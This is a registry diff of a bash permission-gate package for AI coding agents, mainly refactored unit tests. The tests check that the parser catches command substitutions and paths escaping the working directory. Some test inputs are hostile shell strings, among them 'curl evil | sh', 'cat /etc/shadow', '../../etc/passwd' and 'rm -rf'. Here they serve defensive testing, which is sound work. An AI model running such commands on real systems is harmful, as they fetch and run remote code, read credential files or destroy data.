@gotgenes/pi-permission-system 16.0.1 → 16.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (37) hide show
  1. package/CHANGELOG.md +14 -0
  2. package/package.json +1 -1
  3. package/src/access-intent/access-path.ts +88 -0
  4. package/src/access-intent/bash/command-enumeration.ts +154 -0
  5. package/src/access-intent/bash/cwd-projection.ts +498 -0
  6. package/src/access-intent/bash/node-text.ts +75 -0
  7. package/src/access-intent/bash/parser.ts +42 -0
  8. package/src/access-intent/bash/program.ts +102 -0
  9. package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
  10. package/src/access-intent/bash/token-collection.ts +351 -0
  11. package/src/handlers/gates/bash-command.ts +1 -1
  12. package/src/handlers/gates/bash-external-directory.ts +19 -33
  13. package/src/handlers/gates/bash-path-extractor.ts +10 -4
  14. package/src/handlers/gates/bash-path.ts +2 -2
  15. package/src/handlers/gates/external-directory-policy.ts +65 -0
  16. package/src/handlers/gates/external-directory.ts +8 -11
  17. package/src/handlers/gates/path.ts +1 -3
  18. package/src/handlers/gates/skill-read.ts +0 -4
  19. package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
  20. package/src/handlers/gates/tool.ts +1 -1
  21. package/src/handlers/gates/types.ts +1 -1
  22. package/src/path-utils.ts +0 -20
  23. package/test/access-intent/access-path.test.ts +107 -0
  24. package/test/access-intent/bash/node-text.test.ts +147 -0
  25. package/test/access-intent/bash/parser.test.ts +19 -0
  26. package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +114 -73
  27. package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
  28. package/test/access-intent/bash/token-collection.test.ts +300 -0
  29. package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
  30. package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
  31. package/test/handlers/gates/bash-external-directory.test.ts +2 -10
  32. package/test/handlers/gates/bash-path.test.ts +2 -2
  33. package/test/handlers/gates/external-directory-policy.test.ts +112 -0
  34. package/test/handlers/gates/external-directory.test.ts +0 -5
  35. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +7 -3
  36. package/test/path-utils.test.ts +0 -34
  37. package/src/handlers/gates/bash-program.ts +0 -1143
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
10
10
  default: { realpathSync },
11
11
  }));
12
12
 
13
- import { BashProgram } from "#src/handlers/gates/bash-program";
13
+ import { BashProgram } from "#src/access-intent/bash/program";
14
14
 
15
15
  describe("BashProgram", () => {
16
16
  describe("pathRuleCandidates", () => {
17
17
  const cwd = "/projects/my-app";
18
18
 
19
19
  it("adds absolute and relative policy values for relative tokens", async () => {
20
- const program = await BashProgram.parse("cat src/foo.ts");
21
- expect(program.pathRuleCandidates(cwd)).toEqual([
20
+ const program = await BashProgram.parse("cat src/foo.ts", cwd);
21
+ expect(program.pathRuleCandidates()).toEqual([
22
22
  {
23
23
  token: "src/foo.ts",
24
24
  policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
26
26
  ]);
27
27
  });
28
28
 
29
- it("returns the literal token only when no cwd is provided", async () => {
30
- const program = await BashProgram.parse("cat src/foo.ts");
31
- expect(program.pathRuleCandidates()).toEqual([
32
- { token: "src/foo.ts", policyValues: ["src/foo.ts"] },
33
- ]);
34
- });
35
-
36
29
  it("resolves tokens after literal cd against the effective directory", async () => {
37
- const program = await BashProgram.parse("cd nested && cat src/file.txt");
30
+ const program = await BashProgram.parse(
31
+ "cd nested && cat src/file.txt",
32
+ cwd,
33
+ );
38
34
  const fileCandidate = program
39
- .pathRuleCandidates(cwd)
35
+ .pathRuleCandidates()
40
36
  .find((candidate) => candidate.token === "src/file.txt");
41
37
  expect(fileCandidate).toEqual({
42
38
  token: "src/file.txt",
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
49
45
  });
50
46
 
51
47
  it("does not absolute-allow relative tokens after unknown cd", async () => {
52
- const program = await BashProgram.parse('cd "$DIR" && cat src/foo.ts');
48
+ const program = await BashProgram.parse(
49
+ 'cd "$DIR" && cat src/foo.ts',
50
+ cwd,
51
+ );
53
52
  const fileCandidate = program
54
- .pathRuleCandidates(cwd)
53
+ .pathRuleCandidates()
55
54
  .find((candidate) => candidate.token === "src/foo.ts");
56
55
  expect(fileCandidate).toEqual({
57
56
  token: "src/foo.ts",
@@ -69,21 +68,26 @@ describe("BashProgram", () => {
69
68
  });
70
69
 
71
70
  it("returns absolute paths resolving outside cwd", async () => {
72
- const program = await BashProgram.parse("cat /etc/hosts");
71
+ const program = await BashProgram.parse("cat /etc/hosts", cwd);
73
72
  // Subset matcher: the path is normalized before comparison.
74
- expect(program.externalPaths(cwd)).toContain("/etc/hosts");
73
+ expect(program.externalPaths().map((p) => p.value())).toContain(
74
+ "/etc/hosts",
75
+ );
75
76
  });
76
77
 
77
78
  it("excludes paths within cwd", async () => {
78
- const program = await BashProgram.parse("cat src/index.ts");
79
- expect(program.externalPaths(cwd)).toHaveLength(0);
79
+ const program = await BashProgram.parse("cat src/index.ts", cwd);
80
+ expect(program.externalPaths()).toHaveLength(0);
80
81
  });
81
82
 
82
83
  describe("effective working directory projection", () => {
83
84
  it("folds a sequence of current-shell cd commands", async () => {
84
85
  // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
85
- const program = await BashProgram.parse("cd a && cd b && cat ../c");
86
- expect(program.externalPaths(cwd)).toHaveLength(0);
86
+ const program = await BashProgram.parse(
87
+ "cd a && cd b && cat ../c",
88
+ cwd,
89
+ );
90
+ expect(program.externalPaths()).toHaveLength(0);
87
91
  });
88
92
 
89
93
  it("catches an escape masked by a later cd that the single-base model missed", async () => {
@@ -91,66 +95,85 @@ describe("BashProgram", () => {
91
95
  // ../../etc/passwd escapes to /projects/etc/passwd.
92
96
  const program = await BashProgram.parse(
93
97
  "cd nested/deep && cd .. && cat ../../etc/passwd",
98
+ cwd,
99
+ );
100
+ expect(program.externalPaths().map((p) => p.value())).toContain(
101
+ "/projects/etc/passwd",
94
102
  );
95
- expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
96
103
  });
97
104
 
98
105
  it("folds a cd that is not the first command", async () => {
99
106
  // The single-base model ignored a cd that was not first; now `cd a`
100
107
  // folds, so ../b resolves to cwd/b (inside) and is not flagged.
101
- const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
102
- expect(program.externalPaths(cwd)).toHaveLength(0);
108
+ const program = await BashProgram.parse(
109
+ "mkdir d && cd a && cat ../b",
110
+ cwd,
111
+ );
112
+ expect(program.externalPaths()).toHaveLength(0);
103
113
  });
104
114
 
105
115
  it("does not fold a backgrounded cd", async () => {
106
116
  // `cd a &` runs in a subshell, so it must not update the running
107
117
  // directory; ../b resolves against cwd and escapes.
108
- const program = await BashProgram.parse("cd a & cat ../b");
109
- expect(program.externalPaths(cwd)).toContain("/projects/b");
118
+ const program = await BashProgram.parse("cd a & cat ../b", cwd);
119
+ expect(program.externalPaths().map((p) => p.value())).toContain(
120
+ "/projects/b",
121
+ );
110
122
  });
111
123
 
112
124
  it("does not fold a cd inside a pipeline", async () => {
113
125
  // Pipeline members run in subshells; the cd must not leak.
114
- const program = await BashProgram.parse("cd nested | cat ../b");
115
- expect(program.externalPaths(cwd)).toContain("/projects/b");
126
+ const program = await BashProgram.parse("cd nested | cat ../b", cwd);
127
+ expect(program.externalPaths().map((p) => p.value())).toContain(
128
+ "/projects/b",
129
+ );
116
130
  });
117
131
 
118
132
  it("folds a cd inside a subshell for paths within that subshell", async () => {
119
133
  // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
120
- const program = await BashProgram.parse("( cd sub && cat ../x )");
121
- expect(program.externalPaths(cwd)).toHaveLength(0);
134
+ const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
135
+ expect(program.externalPaths()).toHaveLength(0);
122
136
  });
123
137
 
124
138
  it("does not leak a subshell cd to following commands", async () => {
125
139
  // The subshell cd resets on exit, so ../y resolves against cwd.
126
- const program = await BashProgram.parse("( cd sub ) && cat ../y");
127
- expect(program.externalPaths(cwd)).toContain("/projects/y");
140
+ const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
141
+ expect(program.externalPaths().map((p) => p.value())).toContain(
142
+ "/projects/y",
143
+ );
128
144
  });
129
145
 
130
146
  it("persists a cd inside a brace group to later commands in the group", async () => {
131
147
  // Brace groups run in the current shell, so cd sub persists to cat ../x.
132
- const program = await BashProgram.parse("{ cd sub; cat ../x; }");
133
- expect(program.externalPaths(cwd)).toHaveLength(0);
148
+ const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
149
+ expect(program.externalPaths()).toHaveLength(0);
134
150
  });
135
151
 
136
152
  it("persists a brace-group cd to following sibling commands", async () => {
137
- const program = await BashProgram.parse("{ cd sub; } && cat ../x");
138
- expect(program.externalPaths(cwd)).toHaveLength(0);
153
+ const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
154
+ expect(program.externalPaths()).toHaveLength(0);
139
155
  });
140
156
 
141
157
  it("conservatively flags a relative path inside a command substitution", async () => {
142
158
  // Interior cd folding inside substitutions is deferred: the interior
143
159
  // inherits the enclosing base (cwd), so ../r is flagged rather than
144
160
  // resolved against cwd/q. Conservative — never misses an escape.
145
- const program = await BashProgram.parse("echo $(cd q && cat ../r)");
146
- expect(program.externalPaths(cwd)).toContain("/projects/r");
161
+ const program = await BashProgram.parse(
162
+ "echo $(cd q && cat ../r)",
163
+ cwd,
164
+ );
165
+ expect(program.externalPaths().map((p) => p.value())).toContain(
166
+ "/projects/r",
167
+ );
147
168
  });
148
169
 
149
170
  it("flags relative paths conservatively after a non-literal cd", async () => {
150
171
  // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
151
172
  // so it is flagged (least-privilege).
152
- const program = await BashProgram.parse('cd "$DIR" && cat ../x');
153
- expect(program.externalPaths(cwd)).toContain("/projects/x");
173
+ const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
174
+ expect(program.externalPaths().map((p) => p.value())).toContain(
175
+ "/projects/x",
176
+ );
154
177
  });
155
178
 
156
179
  it("flags even a within-cwd relative path after a non-literal cd", async () => {
@@ -158,8 +181,9 @@ describe("BashProgram", () => {
158
181
  // flagged because the effective dir is unknown.
159
182
  const program = await BashProgram.parse(
160
183
  'cd "$DIR" && cat src/../within.txt',
184
+ cwd,
161
185
  );
162
- expect(program.externalPaths(cwd)).toContain(
186
+ expect(program.externalPaths().map((p) => p.value())).toContain(
163
187
  "/projects/my-app/within.txt",
164
188
  );
165
189
  });
@@ -169,13 +193,16 @@ describe("BashProgram", () => {
169
193
  // even when the effective dir is unknown.
170
194
  const program = await BashProgram.parse(
171
195
  'cd "$DIR" && cat /projects/my-app/x.txt',
196
+ cwd,
172
197
  );
173
- expect(program.externalPaths(cwd)).toHaveLength(0);
198
+ expect(program.externalPaths()).toHaveLength(0);
174
199
  });
175
200
 
176
201
  it("treats `cd -` as an unknown effective directory", async () => {
177
- const program = await BashProgram.parse("cd - && cat ../x");
178
- expect(program.externalPaths(cwd)).toContain("/projects/x");
202
+ const program = await BashProgram.parse("cd - && cat ../x", cwd);
203
+ expect(program.externalPaths().map((p) => p.value())).toContain(
204
+ "/projects/x",
205
+ );
179
206
  });
180
207
 
181
208
  it("recovers a known base when a later cd is absolute", async () => {
@@ -183,8 +210,9 @@ describe("BashProgram", () => {
183
210
  // ../x resolves to cwd and is not flagged.
184
211
  const program = await BashProgram.parse(
185
212
  'cd "$DIR" && cd /projects/my-app/src && cat ../x',
213
+ cwd,
186
214
  );
187
- expect(program.externalPaths(cwd)).toHaveLength(0);
215
+ expect(program.externalPaths()).toHaveLength(0);
188
216
  });
189
217
 
190
218
  it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
@@ -195,8 +223,9 @@ describe("BashProgram", () => {
195
223
  // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
196
224
  const program = await BashProgram.parse(
197
225
  "cd a && pnpm x 2>&1 | tail ; cat ../b",
226
+ cwd,
198
227
  );
199
- expect(program.externalPaths(cwd)).toHaveLength(0);
228
+ expect(program.externalPaths()).toHaveLength(0);
200
229
  });
201
230
 
202
231
  it("persists the fold past a redirect-then-pipe to a later cd", async () => {
@@ -205,8 +234,9 @@ describe("BashProgram", () => {
205
234
  // cwd instead of escaping one level above.
206
235
  const program = await BashProgram.parse(
207
236
  "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
237
+ cwd,
208
238
  );
209
- expect(program.externalPaths(cwd)).toHaveLength(0);
239
+ expect(program.externalPaths()).toHaveLength(0);
210
240
  });
211
241
 
212
242
  it("does not fold the terminal piped command of the first stage", async () => {
@@ -217,8 +247,11 @@ describe("BashProgram", () => {
217
247
  // inside — a fail-open regression this test pins.
218
248
  const program = await BashProgram.parse(
219
249
  "cd a && cd b 2>&1 | tail ; cat ../../x",
250
+ cwd,
251
+ );
252
+ expect(program.externalPaths().map((p) => p.value())).toContain(
253
+ "/projects/x",
220
254
  );
221
- expect(program.externalPaths(cwd)).toContain("/projects/x");
222
255
  });
223
256
 
224
257
  it("resolves a downstream pipe stage against the folded base", async () => {
@@ -227,8 +260,9 @@ describe("BashProgram", () => {
227
260
  // pre-cd base.
228
261
  const program = await BashProgram.parse(
229
262
  "cd a && pnpm x 2>&1 | cat ../foo",
263
+ cwd,
230
264
  );
231
- expect(program.externalPaths(cwd)).toHaveLength(0);
265
+ expect(program.externalPaths()).toHaveLength(0);
232
266
  });
233
267
  });
234
268
 
@@ -244,8 +278,9 @@ describe("BashProgram", () => {
244
278
  });
245
279
  const program = await BashProgram.parse(
246
280
  "cat /projects/my-app/link/hosts",
281
+ cwd,
247
282
  );
248
- const external = program.externalPaths(cwd);
283
+ const external = program.externalPaths().map((p) => p.value());
249
284
  expect(external).toContain("/projects/my-app/link/hosts");
250
285
  expect(external).not.toContain("/etc/hosts");
251
286
  });
@@ -258,19 +293,24 @@ describe("BashProgram", () => {
258
293
  if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
259
294
  return p;
260
295
  });
261
- const program = await BashProgram.parse("cat /tmp/workspace/file.ts");
262
- expect(program.externalPaths(symlinkCwd)).toHaveLength(0);
296
+ const program = await BashProgram.parse(
297
+ "cat /tmp/workspace/file.ts",
298
+ symlinkCwd,
299
+ );
300
+ expect(program.externalPaths()).toHaveLength(0);
263
301
  });
264
302
  });
265
303
 
266
304
  describe("commands", () => {
305
+ const cwd = "/projects/my-app";
306
+
267
307
  it("returns a single-element list for a lone command", async () => {
268
- const program = await BashProgram.parse("npm install pkg");
308
+ const program = await BashProgram.parse("npm install pkg", cwd);
269
309
  expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
270
310
  });
271
311
 
272
312
  it("splits an && chain", async () => {
273
- const program = await BashProgram.parse("cd /p && npm i x");
313
+ const program = await BashProgram.parse("cd /p && npm i x", cwd);
274
314
  expect(program.commands()).toEqual([
275
315
  { text: "cd /p" },
276
316
  { text: "npm i x" },
@@ -278,22 +318,22 @@ describe("BashProgram", () => {
278
318
  });
279
319
 
280
320
  it("splits || , ; and & separators", async () => {
281
- expect((await BashProgram.parse("a || b")).commands()).toEqual([
321
+ expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
282
322
  { text: "a" },
283
323
  { text: "b" },
284
324
  ]);
285
- expect((await BashProgram.parse("a ; b")).commands()).toEqual([
325
+ expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
286
326
  { text: "a" },
287
327
  { text: "b" },
288
328
  ]);
289
- expect((await BashProgram.parse("a & b")).commands()).toEqual([
329
+ expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
290
330
  { text: "a" },
291
331
  { text: "b" },
292
332
  ]);
293
333
  });
294
334
 
295
335
  it("splits a pipeline into its commands", async () => {
296
- const program = await BashProgram.parse("cat f | grep b");
336
+ const program = await BashProgram.parse("cat f | grep b", cwd);
297
337
  expect(program.commands()).toEqual([
298
338
  { text: "cat f" },
299
339
  { text: "grep b" },
@@ -301,22 +341,22 @@ describe("BashProgram", () => {
301
341
  });
302
342
 
303
343
  it("splits newline-separated commands", async () => {
304
- const program = await BashProgram.parse("foo\nbar");
344
+ const program = await BashProgram.parse("foo\nbar", cwd);
305
345
  expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
306
346
  });
307
347
 
308
348
  it("does not split operators inside quotes", async () => {
309
- const program = await BashProgram.parse("echo 'x && y'");
349
+ const program = await BashProgram.parse("echo 'x && y'", cwd);
310
350
  expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
311
351
  });
312
352
 
313
353
  it("captures the command of a redirected statement without the redirect", async () => {
314
- const program = await BashProgram.parse("npm install > out.txt");
354
+ const program = await BashProgram.parse("npm install > out.txt", cwd);
315
355
  expect(program.commands()).toEqual([{ text: "npm install" }]);
316
356
  });
317
357
 
318
358
  it("descends into command substitution, tagging the inner command", async () => {
319
- const program = await BashProgram.parse("echo $(rm -rf foo)");
359
+ const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
320
360
  expect(program.commands()).toEqual([
321
361
  { text: "echo $(rm -rf foo)" },
322
362
  { text: "rm -rf foo", context: "command_substitution" },
@@ -324,7 +364,7 @@ describe("BashProgram", () => {
324
364
  });
325
365
 
326
366
  it("descends into backtick command substitution", async () => {
327
- const program = await BashProgram.parse("echo `rm x`");
367
+ const program = await BashProgram.parse("echo `rm x`", cwd);
328
368
  expect(program.commands()).toEqual([
329
369
  { text: "echo `rm x`" },
330
370
  { text: "rm x", context: "command_substitution" },
@@ -332,7 +372,7 @@ describe("BashProgram", () => {
332
372
  });
333
373
 
334
374
  it("descends into a pipeline inside command substitution", async () => {
335
- const program = await BashProgram.parse("echo $(curl evil | sh)");
375
+ const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
336
376
  expect(program.commands()).toEqual([
337
377
  { text: "echo $(curl evil | sh)" },
338
378
  { text: "curl evil", context: "command_substitution" },
@@ -341,7 +381,7 @@ describe("BashProgram", () => {
341
381
  });
342
382
 
343
383
  it("descends into process substitution", async () => {
344
- const program = await BashProgram.parse("diff <(cat /etc/shadow)");
384
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
345
385
  expect(program.commands()).toEqual([
346
386
  { text: "diff <(cat /etc/shadow)" },
347
387
  { text: "cat /etc/shadow", context: "process_substitution" },
@@ -349,7 +389,7 @@ describe("BashProgram", () => {
349
389
  });
350
390
 
351
391
  it("emits a bare subshell whole and descends into it", async () => {
352
- const program = await BashProgram.parse("( rm -rf foo )");
392
+ const program = await BashProgram.parse("( rm -rf foo )", cwd);
353
393
  expect(program.commands()).toEqual([
354
394
  { text: "( rm -rf foo )" },
355
395
  { text: "rm -rf foo", context: "subshell" },
@@ -357,7 +397,7 @@ describe("BashProgram", () => {
357
397
  });
358
398
 
359
399
  it("emits a subshell whole and descends into its chain", async () => {
360
- const program = await BashProgram.parse("( cd /t && rm x )");
400
+ const program = await BashProgram.parse("( cd /t && rm x )", cwd);
361
401
  expect(program.commands()).toEqual([
362
402
  { text: "( cd /t && rm x )" },
363
403
  { text: "cd /t", context: "subshell" },
@@ -366,7 +406,7 @@ describe("BashProgram", () => {
366
406
  });
367
407
 
368
408
  it("descends recursively through nested contexts", async () => {
369
- const program = await BashProgram.parse("echo $( ( rm x ) )");
409
+ const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
370
410
  expect(program.commands()).toEqual([
371
411
  { text: "echo $( ( rm x ) )" },
372
412
  { text: "( rm x )", context: "command_substitution" },
@@ -375,7 +415,7 @@ describe("BashProgram", () => {
375
415
  });
376
416
 
377
417
  it("descends into a substitution within a chained command", async () => {
378
- const program = await BashProgram.parse("cd /p && echo $(rm x)");
418
+ const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
379
419
  expect(program.commands()).toEqual([
380
420
  { text: "cd /p" },
381
421
  { text: "echo $(rm x)" },
@@ -384,7 +424,7 @@ describe("BashProgram", () => {
384
424
  });
385
425
 
386
426
  it("keeps the never-weaker invariant: a benign inner command stays", async () => {
387
- const program = await BashProgram.parse("echo $(echo safe)");
427
+ const program = await BashProgram.parse("echo $(echo safe)", cwd);
388
428
  expect(program.commands()).toEqual([
389
429
  { text: "echo $(echo safe)" },
390
430
  { text: "echo safe", context: "command_substitution" },
@@ -392,18 +432,19 @@ describe("BashProgram", () => {
392
432
  });
393
433
 
394
434
  it("returns an empty list for an empty or whitespace command", async () => {
395
- expect((await BashProgram.parse("")).commands()).toEqual([]);
396
- expect((await BashProgram.parse(" ")).commands()).toEqual([]);
435
+ expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
436
+ expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
397
437
  });
398
438
  });
399
439
 
400
440
  it("derives both slices from a single parse", async () => {
401
- const program = await BashProgram.parse("cat .env /etc/hosts");
441
+ const cwd = "/projects/my-app";
442
+ const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
402
443
  expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
403
444
  ".env",
404
445
  "/etc/hosts",
405
446
  ]);
406
- const external = program.externalPaths("/projects/my-app");
447
+ const external = program.externalPaths().map((p) => p.value());
407
448
  expect(external).toContain("/etc/hosts");
408
449
  expect(external).not.toContain(".env");
409
450
  });
@@ -3,7 +3,7 @@ import { describe, expect, test } from "vitest";
3
3
  import {
4
4
  classifyTokenAsPathCandidate,
5
5
  classifyTokenAsRuleCandidate,
6
- } from "#src/handlers/gates/bash-token-classification";
6
+ } from "#src/access-intent/bash/token-classification";
7
7
 
8
8
  // ── Shared rejection behaviour ─────────────────────────────────────────────
9
9
  //